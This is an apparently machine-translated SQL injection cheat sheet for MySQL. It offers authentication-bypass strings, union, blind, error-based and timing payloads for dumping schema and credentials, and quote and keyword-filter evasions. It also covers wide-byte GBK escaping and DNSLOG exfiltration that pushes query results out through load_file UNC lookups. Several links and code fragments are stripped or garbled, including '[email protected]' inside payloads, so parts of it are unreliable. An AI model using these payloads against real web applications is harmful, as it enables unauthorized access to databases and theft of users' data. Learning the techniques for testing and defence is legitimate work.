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SQL Injection

basic concept

  • SQL injection is an input parameter that inserts or adds SQL code to an application (user), and then passes these parameters to the backend SQL server for parsing and execution.
  • An attacker can modify an SQL statement that has the same permissions as the component that executes the command, such as a database server, application server, or web server.
  • SQL injection usually occurs if the WEB application developer cannot ensure that the value received from the WEB form, cookies, input parameters, etc. is passed to the SQL query (which is executed on the database server) before it is verified Vulnerabilities.

Common tools

Injecting common parameters

  • user(): current database user
  • database(): current database name
  • version(): the currently used database version
  • @@datadir: database storage data path
  • concat(): Union data used to combine two data results. Such as concat(username,0x3a,password)
  • group_concat(): Similar to concat(), such as group_concat(DISTINCT+user, 0x3a, password), used to inject multiple pieces of data at once
  • concat_ws(): usage is similar
  • hex() and unhex(): for hex encoding and decoding
  • load_file(): Read the file as text. In Windows, the path is set to \\
  • select xxoo into outfile 'path': can write files directly when the permission is high

Grammar Reference and Tips

Interline Notes

  • --
DROP sampletable;--
  • #
DROP sampletable;#

Inline comment

  • /* comment content */
DROP/*comment*/sampletable` DR/**/OP/* bypass filtering */sampletable` SELECT/* replace spaces */password/**/FROM/**/Members
  • /*! MYSQL exclusive*/
SELECT /*!32302 1/0, */ 1 FROM tablename

string encoding

  • ASCII(): return the ASCII value of the character
  • CHAR(): converts an integer to the corresponding character

Backstage universal password

  • admin' --

  • admin' #

  • admin'/*

  • ' or 1=1--

  • ' or 1=1#

  • ' or 1=1/*

  • ') or '1'='1--

  • ') or ('1'='1--

  • Log in as different users ' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--

Injection statement memo

data storage name

SELECT database();
SELECT schema_name FROM information_schema.schemata;

Table Name

  • union query
--version=9 for MySQL 4 and version=10 for MySQL 5
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; /* Lists the tables in the current database*/
UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database(); /* Lists tables in all user-defined databases*/
    SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';
  • blind
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
  • Error
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),[email protected]) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));
-- Successful in version 5.1.5.

Column name

  • union query
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
  • blind
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
  • Error
-- Successful in version 5.1.5
-- MySQL 5.1 has been fixed
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),[email protected]) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));
-- This requires a web display page with a field for the query you injected
-- Get the first paragraph name
SELECT username, permission FROM Users WHERE id = 1; 1 PROCEDURE ANALYSE()
-- Get the second section name
-- Get the third paragraph name

Query the table based on the column name

-- Query the table whose name is username
SELECT table_name FROM information_schema.columns WHERE column_name = 'username';
-- Query the table containing the username in the field name
SELECT table_name FROM information_schema.columns WHERE column_name LIKE '%user%';

Bypassing quotes

-- hex encoding
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() function
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

Bypassing the string blacklist

SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

When CONCAT() is used, any argument is null and will return null. It is recommended to use CONCAT_WS(). The first argument of the CONCAT_WS() function indicates which character interval is used to query the result.

Conditional statements


SELECT IF(1=1, true, false);

Delay function


' - (IF(MID(version(),1,1) LIKE 5, BENCHMARK(100000,SHA1('true')), false)) - '

order by post injection

order by Because it is a sort statement, you can use the conditional statement to make judgments, and judge the true and false conditions according to the returned sorting result. Variables with order or order by are probably the kind of injections. When you know a field, you can do the following:

Original link:

Sort according to the vote field. Find the ticket with the highest number of votes num and construct the following link:>0)*num)+asc

See if the sorting changes. There is another way to not know any field information, use the rand function:

The above two will return different sorts, and the statement that determines whether the first character in the table name is less than 128 is as follows: char(substring(table_name,1,1)) from information_schema.tables limit 1)<=128))

Wide byte injection

The most commonly used GBK code in the country, this way is mainly to bypass the transfer of special characters such as addslashes. The slash of backslash \ is %5c. When you type %bf%27, the function encounters the single quotes and automatically transfers to \, which becomes %bf%5c%. 27,%bf%5c In GBK it becomes a wide character "缞". %bf The position can be any character in the middle of %81-%fe. Not only in SQL injection, wide character injection can be applied in many places.

DNSLOG Injection

DNS will leave a log when parsing, and obtain information by reading the parsing log of the multi-level domain name. Simply put, put the information in the advanced domain name, pass it to yourself, then read the log and get the information.

Dnslog platform: [] (

mysql> use security;
Database changed
mysql> select load_file('\\\\\\abc');
| load_file('\\\\\\abc') |
| NULL                                      |
1 row in set (22.05 sec)
mysql> select load_file(concat('\\\\',(select database()),'\\abc'));
| load_file(concat('\\\\',(select database()),'\\abc')) |
| NULL                                                                 |
1 row in set (0.00 sec)